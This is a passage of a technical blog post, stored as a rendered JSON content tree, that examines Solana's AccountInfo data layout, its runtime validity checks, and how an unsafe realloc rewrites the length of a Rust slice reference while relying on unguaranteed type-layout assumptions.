",{"type":20,"tag":119,"props":13840,"children":13842},{"className":13841},[],[13843],{"type":26,"value":13339},{"type":26,"value":13845}," is a ",{"type":20,"tag":119,"props":13847,"children":13849},{"className":13848},[],[13850],{"type":26,"value":13722},{"type":26,"value":13852},", where the ",{"type":20,"tag":119,"props":13854,"children":13856},{"className":13855},[],[13857],{"type":26,"value":4381},{"type":26,"value":13845},{"type":20,"tag":119,"props":13860,"children":13862},{"className":13861},[],[13863],{"type":26,"value":13864},"&mut [u8]",{"type":26,"value":13866}," pointing at the actual data buffer, when we clone the ",{"type":20,"tag":119,"props":13868,"children":13870},{"className":13869},[],[13871],{"type":26,"value":13339},{"type":26,"value":13873},", we get a new reference",{"type":20,"tag":13875,"props":13876,"children":13877},"sup",{},[13878],{"type":20,"tag":35,"props":13879,"children":13884},{"href":13880,"ariaDescribedBy":13881,"dataFootnoteRef":7,"id":13883},"#user-content-fn-rc-refs",[13882],"footnote-label","user-content-fnref-rc-refs",[13885],{"type":26,"value":2406},{"type":26,"value":13887}," to the slice pointing at the ",{"type":20,"tag":55,"props":13889,"children":13890},{},[13891],{"type":26,"value":13892},"same",{"type":26,"value":13894}," data buffer.",{"type":20,"tag":29,"props":13896,"children":13897},{},[13898,13900,13906,13908,13914],{"type":26,"value":13899},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":20,"tag":119,"props":13901,"children":13903},{"className":13902},[],[13904],{"type":26,"value":13905},"RefCell",{"type":26,"value":13907}," to check the rules at runtime. (The ",{"type":20,"tag":119,"props":13909,"children":13911},{"className":13910},[],[13912],{"type":26,"value":13913},"lamports",{"type":26,"value":13915}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":20,"tag":29,"props":13917,"children":13918},{},[13919,13921,13927],{"type":26,"value":13920},"Changing the data of an account is done by simply writing to ",{"type":20,"tag":119,"props":13922,"children":13924},{"className":13923},[],[13925],{"type":26,"value":13926},"AccountInfo::data",{"type":26,"value":13928},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":20,"tag":29,"props":13930,"children":13931},{},[13932,13934,13941],{"type":26,"value":13933},"This is also where the ",{"type":20,"tag":35,"props":13935,"children":13938},{"href":13936,"rel":13937},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[39],[13939],{"type":26,"value":13940},"runtime validity checks",{"type":26,"value":13942}," are imposed.",{"type":20,"tag":305,"props":13944,"children":13946},{"className":1360,"code":13945,"language":1359,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[13947],{"type":20,"tag":119,"props":13948,"children":13949},{"__ignoreMap":7},[13950,13958,13966,13974,14015,14033,14062,14107,14114,14138,14173,14198,14230,14245,14277,14284],{"type":20,"tag":315,"props":13951,"children":13952},{"class":317,"line":318},[13953],{"type":20,"tag":315,"props":13954,"children":13955},{"style":1071},[13956],{"type":26,"value":13957},"// Only the owner may change account data\n",{"type":20,"tag":315,"props":13959,"children":13960},{"class":317,"line":356},[13961],{"type":20,"tag":315,"props":13962,"children":13963},{"style":1071},[13964],{"type":26,"value":13965},"// and if the account is writable\n",{"type":20,"tag":315,"props":13967,"children":13968},{"class":317,"line":365},[13969],{"type":20,"tag":315,"props":13970,"children":13971},{"style":1071},[13972],{"type":26,"value":13973},"// and if the account is not executable\n",{"type":20,"tag":315,"props":13975,"children":13976},{"class":317,"line":374},[13977,13981,13985,13989,13993,13997,14002,14006,14011],{"type":20,"tag":315,"props":13978,"children":13979},{"style":525},[13980],{"type":26,"value":528},{"type":20,"tag":315,"props":13982,"children":13983},{"style":334},[13984],{"type":26,"value":11264},{"type":20,"tag":315,"props":13986,"children":13987},{"style":328},[13988],{"type":26,"value":1049},{"type":20,"tag":315,"props":13990,"children":13991},{"style":635},[13992],{"type":26,"value":13067},{"type":20,"tag":315,"props":13994,"children":13995},{"style":334},[13996],{"type":26,"value":1664},{"type":20,"tag":315,"props":13998,"children":13999},{"style":635},[14000],{"type":26,"value":14001}," pre",{"type":20,"tag":315,"props":14003,"children":14004},{"style":334},[14005],{"type":26,"value":61},{"type":20,"tag":315,"props":14007,"children":14008},{"style":345},[14009],{"type":26,"value":14010},"owner",{"type":20,"tag":315,"props":14012,"children":14013},{"style":328},[14014],{"type":26,"value":6131},{"type":20,"tag":315,"props":14016,"children":14017},{"class":317,"line":383},[14018,14023,14028],{"type":20,"tag":315,"props":14019,"children":14020},{"style":334},[14021],{"type":26,"value":14022}," &&",{"type":20,"tag":315,"props":14024,"children":14025},{"style":635},[14026],{"type":26,"value":14027}," is_writable",{"type":20,"tag":315,"props":14029,"children":14030},{"style":1071},[14031],{"type":26,"value":14032}," // line coverage used to get branch coverage\n",{"type":20,"tag":315,"props":14034,"children":14035},{"class":317,"line":407},[14036,14040,14044,14048,14052,14057],{"type":20,"tag":315,"props":14037,"children":14038},{"style":334},[14039],{"type":26,"value":14022},{"type":20,"tag":315,"props":14041,"children":14042},{"style":334},[14043],{"type":26,"value":11264},{"type":20,"tag":315,"props":14045,"children":14046},{"style":635},[14047],{"type":26,"value":305},{"type":20,"tag":315,"props":14049,"children":14050},{"style":334},[14051],{"type":26,"value":61},{"type":20,"tag":315,"props":14053,"children":14054},{"style":345},[14055],{"type":26,"value":14056},"executable",{"type":20,"tag":315,"props":14058,"children":14059},{"style":328},[14060],{"type":26,"value":14061},"())\n",{"type":20,"tag":315,"props":14063,"children":14064},{"class":317,"line":421},[14065,14069,14073,14077,14081,14085,14090,14095,14099,14103],{"type":20,"tag":315,"props":14066,"children":14067},{"style":334},[14068],{"type":26,"value":14022},{"type":20,"tag":315,"props":14070,"children":14071},{"style":635},[14072],{"type":26,"value":14001},{"type":20,"tag":315,"props":14074,"children":14075},{"style":334},[14076],{"type":26,"value":61},{"type":20,"tag":315,"props":14078,"children":14079},{"style":345},[14080],{"type":26,"value":2085},{"type":20,"tag":315,"props":14082,"children":14083},{"style":328},[14084],{"type":26,"value":12444},{"type":20,"tag":315,"props":14086,"children":14087},{"style":334},[14088],{"type":26,"value":14089},"!=",{"type":20,"tag":315,"props":14091,"children":14092},{"style":635},[14093],{"type":26,"value":14094}," post",{"type":20,"tag":315,"props":14096,"children":14097},{"style":334},[14098],{"type":26,"value":61},{"type":20,"tag":315,"props":14100,"children":14101},{"style":345},[14102],{"type":26,"value":2085},{"type":20,"tag":315,"props":14104,"children":14105},{"style":328},[14106],{"type":26,"value":6131},{"type":20,"tag":315,"props":14108,"children":14109},{"class":317,"line":430},[14110],{"type":20,"tag":315,"props":14111,"children":14112},{"style":328},[14113],{"type":26,"value":723},{"type":20,"tag":315,"props":14115,"children":14116},{"class":317,"line":453},[14117,14121,14125,14129,14133],{"type":20,"tag":315,"props":14118,"children":14119},{"style":525},[14120],{"type":26,"value":10680},{"type":20,"tag":315,"props":14122,"children":14123},{"style":635},[14124],{"type":26,"value":14001},{"type":20,"tag":315,"props":14126,"children":14127},{"style":334},[14128],{"type":26,"value":61},{"type":20,"tag":315,"props":14130,"children":14131},{"style":345},[14132],{"type":26,"value":14056},{"type":20,"tag":315,"props":14134,"children":14135},{"style":328},[14136],{"type":26,"value":14137},"() {\n",{"type":20,"tag":315,"props":14139,"children":14140},{"class":317,"line":486},[14141,14146,14151,14155,14160,14164,14169],{"type":20,"tag":315,"props":14142,"children":14143},{"style":525},[14144],{"type":26,"value":14145}," return",{"type":20,"tag":315,"props":14147,"children":14148},{"style":322},[14149],{"type":26,"value":14150}," Err",{"type":20,"tag":315,"props":14152,"children":14153},{"style":328},[14154],{"type":26,"value":1049},{"type":20,"tag":315,"props":14156,"children":14157},{"style":322},[14158],{"type":26,"value":14159},"InstructionError",{"type":20,"tag":315,"props":14161,"children":14162},{"style":334},[14163],{"type":26,"value":1861},{"type":20,"tag":315,"props":14165,"children":14166},{"style":322},[14167],{"type":26,"value":14168},"ExecutableDataModified",{"type":20,"tag":315,"props":14170,"children":14171},{"style":328},[14172],{"type":26,"value":2214},{"type":20,"tag":315,"props":14174,"children":14175},{"class":317,"line":499},[14176,14181,14185,14190,14194],{"type":20,"tag":315,"props":14177,"children":14178},{"style":328},[14179],{"type":26,"value":14180}," } ",{"type":20,"tag":315,"props":14182,"children":14183},{"style":525},[14184],{"type":26,"value":1087},{"type":20,"tag":315,"props":14186,"children":14187},{"style":525},[14188],{"type":26,"value":14189}," if",{"type":20,"tag":315,"props":14191,"children":14192},{"style":635},[14193],{"type":26,"value":14027},{"type":20,"tag":315,"props":14195,"children":14196},{"style":328},[14197],{"type":26,"value":1092},{"type":20,"tag":315,"props":14199,"children":14200},{"class":317,"line":513},[14201,14205,14209,14213,14217,14221,14226],{"type":20,"tag":315,"props":14202,"children":14203},{"style":525},[14204],{"type":26,"value":14145},{"type":20,"tag":315,"props":14206,"children":14207},{"style":322},[14208],{"type":26,"value":14150},{"type":20,"tag":315,"props":14210,"children":14211},{"style":328},[14212],{"type":26,"value":1049},{"type":20,"tag":315,"props":14214,"children":14215},{"style":322},[14216],{"type":26,"value":14159},{"type":20,"tag":315,"props":14218,"children":14219},{"style":334},[14220],{"type":26,"value":1861},{"type":20,"tag":315,"props":14222,"children":14223},{"style":322},[14224],{"type":26,"value":14225},"ExternalAccountDataModified",{"type":20,"tag":315,"props":14227,"children":14228},{"style":328},[14229],{"type":26,"value":2214},{"type":20,"tag":315,"props":14231,"children":14232},{"class":317,"line":521},[14233,14237,14241],{"type":20,"tag":315,"props":14234,"children":14235},{"style":328},[14236],{"type":26,"value":14180},{"type":20,"tag":315,"props":14238,"children":14239},{"style":525},[14240],{"type":26,"value":1087},{"type":20,"tag":315,"props":14242,"children":14243},{"style":328},[14244],{"type":26,"value":1092},{"type":20,"tag":315,"props":14246,"children":14247},{"class":317,"line":552},[14248,14252,14256,14260,14264,14268,14273],{"type":20,"tag":315,"props":14249,"children":14250},{"style":525},[14251],{"type":26,"value":14145},{"type":20,"tag":315,"props":14253,"children":14254},{"style":322},[14255],{"type":26,"value":14150},{"type":20,"tag":315,"props":14257,"children":14258},{"style":328},[14259],{"type":26,"value":1049},{"type":20,"tag":315,"props":14261,"children":14262},{"style":322},[14263],{"type":26,"value":14159},{"type":20,"tag":315,"props":14265,"children":14266},{"style":334},[14267],{"type":26,"value":1861},{"type":20,"tag":315,"props":14269,"children":14270},{"style":322},[14271],{"type":26,"value":14272},"ReadonlyDataModified",{"type":20,"tag":315,"props":14274,"children":14275},{"style":328},[14276],{"type":26,"value":2214},{"type":20,"tag":315,"props":14278,"children":14279},{"class":317,"line":571},[14280],{"type":20,"tag":315,"props":14281,"children":14282},{"style":328},[14283],{"type":26,"value":1736},{"type":20,"tag":315,"props":14285,"children":14286},{"class":317,"line":2031},[14287],{"type":20,"tag":315,"props":14288,"children":14289},{"style":328},[14290],{"type":26,"value":577},{"type":20,"tag":219,"props":14292,"children":14294},{"id":14293},"back-to-realloc",[14295,14297],{"type":26,"value":14296},"Back to ",{"type":20,"tag":119,"props":14298,"children":14300},{"className":14299},[],[14301],{"type":26,"value":12039},{"type":20,"tag":29,"props":14303,"children":14304},{},[14305],{"type":26,"value":14306},"As a reminder, this is what we were looking at before that detour:",{"type":20,"tag":305,"props":14308,"children":14309},{"className":1360,"code":12792,"language":1359,"meta":7,"style":7},[14310],{"type":20,"tag":119,"props":14311,"children":14312},{"__ignoreMap":7},[14313,14320,14407],{"type":20,"tag":315,"props":14314,"children":14315},{"class":317,"line":318},[14316],{"type":20,"tag":315,"props":14317,"children":14318},{"style":1071},[14319],{"type":26,"value":12804},{"type":20,"tag":315,"props":14321,"children":14322},{"class":317,"line":356},[14323,14327,14331,14335,14339,14343,14347,14351,14355,14359,14363,14367,14371,14375,14379,14383,14387,14391,14395,14399,14403],{"type":20,"tag":315,"props":14324,"children":14325},{"style":541},[14326],{"type":26,"value":10188},{"type":20,"tag":315,"props":14328,"children":14329},{"style":635},[14330],{"type":26,"value":12258},{"type":20,"tag":315,"props":14332,"children":14333},{"style":334},[14334],{"type":26,"value":1395},{"type":20,"tag":315,"props":14336,"children":14337},{"style":541},[14338],{"type":26,"value":12198},{"type":20,"tag":315,"props":14340,"children":14341},{"style":334},[14342],{"type":26,"value":61},{"type":20,"tag":315,"props":14344,"children":14345},{"style":345},[14346],{"type":26,"value":12275},{"type":20,"tag":315,"props":14348,"children":14349},{"style":328},[14350],{"type":26,"value":12280},{"type":20,"tag":315,"props":14352,"children":14353},{"style":334},[14354],{"type":26,"value":1514},{"type":20,"tag":315,"props":14356,"children":14357},{"style":345},[14358],{"type":26,"value":12289},{"type":20,"tag":315,"props":14360,"children":14361},{"style":328},[14362],{"type":26,"value":12280},{"type":20,"tag":315,"props":14364,"children":14365},{"style":334},[14366],{"type":26,"value":61},{"type":20,"tag":315,"props":14368,"children":14369},{"style":345},[14370],{"type":26,"value":12302},{"type":20,"tag":315,"props":14372,"children":14373},{"style":328},[14374],{"type":26,"value":1049},{"type":20,"tag":315,"props":14376,"children":14377},{"style":334},[14378],{"type":26,"value":478},{"type":20,"tag":315,"props":14380,"children":14381},{"style":765},[14382],{"type":26,"value":2469},{"type":20,"tag":315,"props":14384,"children":14385},{"style":328},[14386],{"type":26,"value":1468},{"type":20,"tag":315,"props":14388,"children":14389},{"style":541},[14390],{"type":26,"value":7238},{"type":20,"tag":315,"props":14392,"children":14393},{"style":334},[14394],{"type":26,"value":8216},{"type":20,"tag":315,"props":14396,"children":14397},{"style":541},[14398],{"type":26,"value":2107},{"type":20,"tag":315,"props":14400,"children":14401},{"style":322},[14402],{"type":26,"value":4253},{"type":20,"tag":315,"props":14404,"children":14405},{"style":328},[14406],{"type":26,"value":1405},{"type":20,"tag":315,"props":14408,"children":14409},{"class":317,"line":365},[14410,14414,14418,14422,14426,14430,14434],{"type":20,"tag":315,"props":14411,"children":14412},{"style":334},[14413],{"type":26,"value":901},{"type":20,"tag":315,"props":14415,"children":14416},{"style":635},[14417],{"type":26,"value":12350},{"type":20,"tag":315,"props":14419,"children":14420},{"style":334},[14421],{"type":26,"value":1395},{"type":20,"tag":315,"props":14423,"children":14424},{"style":635},[14425],{"type":26,"value":12359},{"type":20,"tag":315,"props":14427,"children":14428},{"style":541},[14429],{"type":26,"value":7224},{"type":20,"tag":315,"props":14431,"children":14432},{"style":322},[14433],{"type":26,"value":4253},{"type":20,"tag":315,"props":14435,"children":14436},{"style":328},[14437],{"type":26,"value":1405},{"type":20,"tag":29,"props":14439,"children":14440},{},[14441,14446,14448,14453,14455,14460,14462,14473,14475,14480,14482,14487],{"type":20,"tag":119,"props":14442,"children":14444},{"className":14443},[],[14445],{"type":26,"value":12275},{"type":26,"value":14447}," gives us the ",{"type":20,"tag":119,"props":14449,"children":14451},{"className":14450},[],[14452],{"type":26,"value":13864},{"type":26,"value":14454}," from the ",{"type":20,"tag":119,"props":14456,"children":14458},{"className":14457},[],[14459],{"type":26,"value":13738},{"type":26,"value":14461},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":20,"tag":35,"props":14463,"children":14466},{"href":14464,"rel":14465},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[39],[14467],{"type":20,"tag":119,"props":14468,"children":14470},{"className":14469},[],[14471],{"type":26,"value":14472},"slice::as_mut_ptr()",{"type":26,"value":14474}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":20,"tag":119,"props":14476,"children":14478},{"className":14477},[],[14479],{"type":26,"value":6438},{"type":26,"value":14481}," - behind the data buffer), and then writes ",{"type":20,"tag":119,"props":14483,"children":14485},{"className":14484},[],[14486],{"type":26,"value":12123},{"type":26,"value":14488}," to it.",{"type":20,"tag":29,"props":14490,"children":14491},{},[14492,14494,14506,14508,14514],{"type":26,"value":14493},"This is reasonable... ",{"type":20,"tag":55,"props":14495,"children":14496},{},[14497,14499,14504],{"type":26,"value":14498},"as long as the ",{"type":20,"tag":119,"props":14500,"children":14502},{"className":14501},[],[14503],{"type":26,"value":2085},{"type":26,"value":14505}," actually came from the serialized buffer",{"type":26,"value":14507},". We'll come back to this ",{"type":20,"tag":35,"props":14509,"children":14511},{"href":14510},"#Not-contracts",[14512],{"type":26,"value":14513},"later",{"type":26,"value":61},{"type":20,"tag":29,"props":14516,"children":14517},{},[14518,14520,14525],{"type":26,"value":14519},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":20,"tag":119,"props":14521,"children":14523},{"className":14522},[],[14524],{"type":26,"value":13864},{"type":26,"value":14526}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":20,"tag":305,"props":14528,"children":14530},{"className":1360,"code":14529,"language":1359,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[14531],{"type":20,"tag":119,"props":14532,"children":14533},{"__ignoreMap":7},[14534,14542,14669],{"type":20,"tag":315,"props":14535,"children":14536},{"class":317,"line":318},[14537],{"type":20,"tag":315,"props":14538,"children":14539},{"style":1071},[14540],{"type":26,"value":14541},"// Then set the new length in the local slice\n",{"type":20,"tag":315,"props":14543,"children":14544},{"class":317,"line":356},[14545,14549,14553,14557,14561,14565,14569,14573,14577,14581,14585,14589,14593,14597,14601,14605,14609,14613,14617,14621,14625,14629,14633,14637,14641,14645,14649,14653,14657,14661,14665],{"type":20,"tag":315,"props":14546,"children":14547},{"style":541},[14548],{"type":26,"value":10188},{"type":20,"tag":315,"props":14550,"children":14551},{"style":635},[14552],{"type":26,"value":12258},{"type":20,"tag":315,"props":14554,"children":14555},{"style":334},[14556],{"type":26,"value":1395},{"type":20,"tag":315,"props":14558,"children":14559},{"style":334},[14560],{"type":26,"value":5536},{"type":20,"tag":315,"props":14562,"children":14563},{"style":541},[14564],{"type":26,"value":2107},{"type":20,"tag":315,"props":14566,"children":14567},{"style":334},[14568],{"type":26,"value":8216},{"type":20,"tag":315,"props":14570,"children":14571},{"style":328},[14572],{"type":26,"value":12418},{"type":20,"tag":315,"props":14574,"children":14575},{"style":541},[14576],{"type":26,"value":12114},{"type":20,"tag":315,"props":14578,"children":14579},{"style":334},[14580],{"type":26,"value":61},{"type":20,"tag":315,"props":14582,"children":14583},{"style":328},[14584],{"type":26,"value":2085},{"type":20,"tag":315,"props":14586,"children":14587},{"style":334},[14588],{"type":26,"value":61},{"type":20,"tag":315,"props":14590,"children":14591},{"style":345},[14592],{"type":26,"value":12439},{"type":20,"tag":315,"props":14594,"children":14595},{"style":328},[14596],{"type":26,"value":12444},{"type":20,"tag":315,"props":14598,"children":14599},{"style":541},[14600],{"type":26,"value":7238},{"type":20,"tag":315,"props":14602,"children":14603},{"style":334},[14604],{"type":26,"value":8216},{"type":20,"tag":315,"props":14606,"children":14607},{"style":541},[14608],{"type":26,"value":8054},{"type":20,"tag":315,"props":14610,"children":14611},{"style":322},[14612],{"type":26,"value":4253},{"type":20,"tag":315,"props":14614,"children":14615},{"style":328},[14616],{"type":26,"value":1509},{"type":20,"tag":315,"props":14618,"children":14619},{"style":334},[14620],{"type":26,"value":61},{"type":20,"tag":315,"props":14622,"children":14623},{"style":345},[14624],{"type":26,"value":12302},{"type":20,"tag":315,"props":14626,"children":14627},{"style":328},[14628],{"type":26,"value":1049},{"type":20,"tag":315,"props":14630,"children":14631},{"style":765},[14632],{"type":26,"value":2406},{"type":20,"tag":315,"props":14634,"children":14635},{"style":328},[14636],{"type":26,"value":1468},{"type":20,"tag":315,"props":14638,"children":14639},{"style":541},[14640],{"type":26,"value":7238},{"type":20,"tag":315,"props":14642,"children":14643},{"style":322},[14644],{"type":26,"value":4253},{"type":20,"tag":315,"props":14646,"children":14647},{"style":328},[14648],{"type":26,"value":1468},{"type":20,"tag":315,"props":14650,"children":14651},{"style":541},[14652],{"type":26,"value":7238},{"type":20,"tag":315,"props":14654,"children":14655},{"style":334},[14656],{"type":26,"value":8216},{"type":20,"tag":315,"props":14658,"children":14659},{"style":541},[14660],{"type":26,"value":2107},{"type":20,"tag":315,"props":14662,"children":14663},{"style":322},[14664],{"type":26,"value":4253},{"type":20,"tag":315,"props":14666,"children":14667},{"style":328},[14668],{"type":26,"value":2214},{"type":20,"tag":315,"props":14670,"children":14671},{"class":317,"line":365},[14672,14676,14680,14684,14688,14692,14696],{"type":20,"tag":315,"props":14673,"children":14674},{"style":334},[14675],{"type":26,"value":901},{"type":20,"tag":315,"props":14677,"children":14678},{"style":635},[14679],{"type":26,"value":12350},{"type":20,"tag":315,"props":14681,"children":14682},{"style":334},[14683],{"type":26,"value":1395},{"type":20,"tag":315,"props":14685,"children":14686},{"style":635},[14687],{"type":26,"value":12359},{"type":20,"tag":315,"props":14689,"children":14690},{"style":541},[14691],{"type":26,"value":7224},{"type":20,"tag":315,"props":14693,"children":14694},{"style":322},[14695],{"type":26,"value":4253},{"type":20,"tag":315,"props":14697,"children":14698},{"style":328},[14699],{"type":26,"value":1405},{"type":20,"tag":29,"props":14701,"children":14702},{},[14703,14705,14711,14713,14724,14726,14732,14734,14740,14742,14747,14749,14754,14756,14766,14767,14774,14775,14782,14789,14791,14797,14799,14805,14807,14812,14814,14819,14821,14827,14829,14834],{"type":26,"value":14704},"That ",{"type":20,"tag":119,"props":14706,"children":14708},{"className":14707},[],[14709],{"type":26,"value":14710},"as_ptr()",{"type":26,"value":14712}," call is ",{"type":20,"tag":35,"props":14714,"children":14717},{"href":14715,"rel":14716},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[39],[14718],{"type":20,"tag":119,"props":14719,"children":14721},{"className":14720},[],[14722],{"type":26,"value":14723},"RefCell::as_ptr()",{"type":26,"value":14725}," due to the ",{"type":20,"tag":119,"props":14727,"children":14729},{"className":14728},[],[14730],{"type":26,"value":14731},"Deref",{"type":26,"value":14733}," impl on ",{"type":20,"tag":119,"props":14735,"children":14737},{"className":14736},[],[14738],{"type":26,"value":14739},"Rc",{"type":26,"value":14741}," (remember also that ",{"type":20,"tag":119,"props":14743,"children":14745},{"className":14744},[],[14746],{"type":26,"value":13905},{"type":26,"value":14748}," itself doesn't behave like a reference, you need to actually ",{"type":20,"tag":55,"props":14750,"children":14751},{},[14752],{"type":26,"value":14753},"get",{"type":26,"value":14755}," one through ",{"type":20,"tag":35,"props":14757,"children":14760},{"href":14758,"rel":14759},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[39],[14761],{"type":20,"tag":119,"props":14762,"children":14764},{"className":14763},[],[14765],{"type":26,"value":7198},{"type":26,"value":4852},{"type":20,"tag":35,"props":14768,"children":14771},{"href":14769,"rel":14770},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[39],[14772],{"type":26,"value":14773},"and",{"type":26,"value":4852},{"type":20,"tag":35,"props":14776,"children":14779},{"href":14777,"rel":14778},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[39],[14780],{"type":26,"value":14781},"frie",{"type":20,"tag":35,"props":14783,"children":14786},{"href":14784,"rel":14785},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[39],[14787],{"type":26,"value":14788},"nds",{"type":26,"value":14790},"). So from ",{"type":20,"tag":119,"props":14792,"children":14794},{"className":14793},[],[14795],{"type":26,"value":14796},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":26,"value":14798}," we get a ",{"type":20,"tag":119,"props":14800,"children":14802},{"className":14801},[],[14803],{"type":26,"value":14804},"*mut &mut [u8]",{"type":26,"value":14806}," - a ",{"type":20,"tag":55,"props":14808,"children":14809},{},[14810],{"type":26,"value":14811},"pointer",{"type":26,"value":14813}," to the ",{"type":20,"tag":55,"props":14815,"children":14816},{},[14817],{"type":26,"value":14818},"slice reference",{"type":26,"value":14820},". From here, we turn the pointer into a ",{"type":20,"tag":119,"props":14822,"children":14824},{"className":14823},[],[14825],{"type":26,"value":14826},"*const u64",{"type":26,"value":14828}," pointer and then offset by 1 ",{"type":20,"tag":119,"props":14830,"children":14832},{"className":14831},[],[14833],{"type":26,"value":6438},{"type":26,"value":14835}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":20,"tag":29,"props":14837,"children":14838},{},[14839,14841,14846,14848,14853,14855,14860,14862,14867,14869,14875],{"type":26,"value":14840},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":20,"tag":35,"props":14842,"children":14844},{"href":14843},"#Towards-safer-unsafe",[14845],{"type":26,"value":14513},{"type":26,"value":14847}," too, I promise. In summary, we're writing the new length as a ",{"type":20,"tag":119,"props":14849,"children":14851},{"className":14850},[],[14852],{"type":26,"value":6438},{"type":26,"value":14854}," to the region starting 8 bytes from the start of the slice ",{"type":20,"tag":55,"props":14856,"children":14857},{},[14858],{"type":26,"value":14859},"reference",{"type":26,"value":14861}," (the ",{"type":20,"tag":119,"props":14863,"children":14865},{"className":14864},[],[14866],{"type":26,"value":13864},{"type":26,"value":14868},").So, what does ",{"type":20,"tag":119,"props":14870,"children":14872},{"className":14871},[],[14873],{"type":26,"value":14874},"&[T]",{"type":26,"value":14876}," look like in Rust?",{"type":20,"tag":29,"props":14878,"children":14879},{},[14880,14882,14889,14891,14904,14906,14912],{"type":26,"value":14881},"According to ",{"type":20,"tag":35,"props":14883,"children":14886},{"href":14884,"rel":14885},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[39],[14887],{"type":26,"value":14888},"the reference",{"type":26,"value":14890},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":20,"tag":35,"props":14892,"children":14895},{"href":14893,"rel":14894},"https://doc.rust-lang.org/reference/type-layout.html",[39],[14896,14898,14902],{"type":26,"value":14897},"\"Type layout can be changed with each compilation. ",{"type":20,"tag":315,"props":14899,"children":14900},{},[14901],{"type":26,"value":7990},{"type":26,"value":14903}," we only document what is guaranteed today\"",{"type":26,"value":14905},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":20,"tag":119,"props":14907,"children":14909},{"className":14908},[],[14910],{"type":26,"value":14911},"rustc",{"type":26,"value":14913},", the layout is a data pointer followed by the size; essentially the same as:",{"type":20,"tag":305,"props":14915,"children":14918},{"className":14916,"code":14917,"language":1528,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[14919],{"type":20,"tag":119,"props":14920,"children":14921},{"__ignoreMap":7},[14922,14930,14942,14959,14972],{"type":20,"tag":315,"props":14923,"children":14924},{"class":317,"line":318},[14925],{"type":20,"tag":315,"props":14926,"children":14927},{"style":1071},[14928],{"type":26,"value":14929},"// C language\n",{"type":20,"tag":315,"props":14931,"children":14932},{"class":317,"line":356},[14933,14937],{"type":20,"tag":315,"props":14934,"children":14935},{"style":541},[14936],{"type":26,"value":7800},{"type":20,"tag":315,"props":14938,"children":14939},{"style":328},[14940],{"type":26,"value":14941}," slice_ref {\n",{"type":20,"tag":315,"props":14943,"children":14944},{"class":317,"line":365},[14945,14950,14954],{"type":20,"tag":315,"props":14946,"children":14947},{"style":541},[14948],{"type":26,"value":14949}," void",{"type":20,"tag":315,"props":14951,"children":14952},{"style":334},[14953],{"type":26,"value":901},{"type":20,"tag":315,"props":14955,"children":14956},{"style":328},[14957],{"type":26,"value":14958}," ptr;\n",{"type":20,"tag":315,"props":14960,"children":14961},{"class":317,"line":374},[14962,14967],{"type":20,"tag":315,"props":14963,"children":14964},{"style":541},[14965],{"type":26,"value":14966}," size_t",{"type":20,"tag":315,"props":14968,"children":14969},{"style":328},[14970],{"type":26,"value":14971}," len;\n",{"type":20,"tag":315,"props":14973,"children":14974},{"class":317,"line":383},[14975],{"type":20,"tag":315,"props":14976,"children":14977},{"style":328},[14978],{"type":26,"value":14979},"};\n",{"type":20,"tag":29,"props":14981,"children":14982},{},[14983],{"type":26,"value":14984},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":20,"tag":68,"props":14986,"children":14987},{},[14988,14993,15011],{"type":20,"tag":72,"props":14989,"children":14990},{},[14991],{"type":26,"value":14992},"Slices are laid out in the precise manner described",{"type":20,"tag":72,"props":14994,"children":14995},{},[14996,14998,15004,15006],{"type":26,"value":14997},"Pointers and ",{"type":20,"tag":119,"props":14999,"children":15001},{"className":15000},[],[15002],{"type":26,"value":15003},"usize",{"type":26,"value":15005}," are the same width as ",{"type":20,"tag":119,"props":15007,"children":15009},{"className":15008},[],[15010],{"type":26,"value":6438},{"type":20,"tag":72,"props":15012,"children":15013},{},[15014,15016,15021],{"type":26,"value":15015},"The ",{"type":20,"tag":119,"props":15017,"children":15019},{"className":15018},[],[15020],{"type":26,"value":13905},{"type":26,"value":15022}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":20,"tag":29,"props":15024,"children":15025},{},[15026,15028,15033,15035,15041,15043,15048,15050,15056,15058,15063,15065,15075],{"type":26,"value":15027},"Assumption #2 is ",{"type":20,"tag":55,"props":15029,"children":15030},{},[15031],{"type":26,"value":15032},"probably",{"type":26,"value":15034}," fine when we only care about targeting Solana's bytecode machine, but 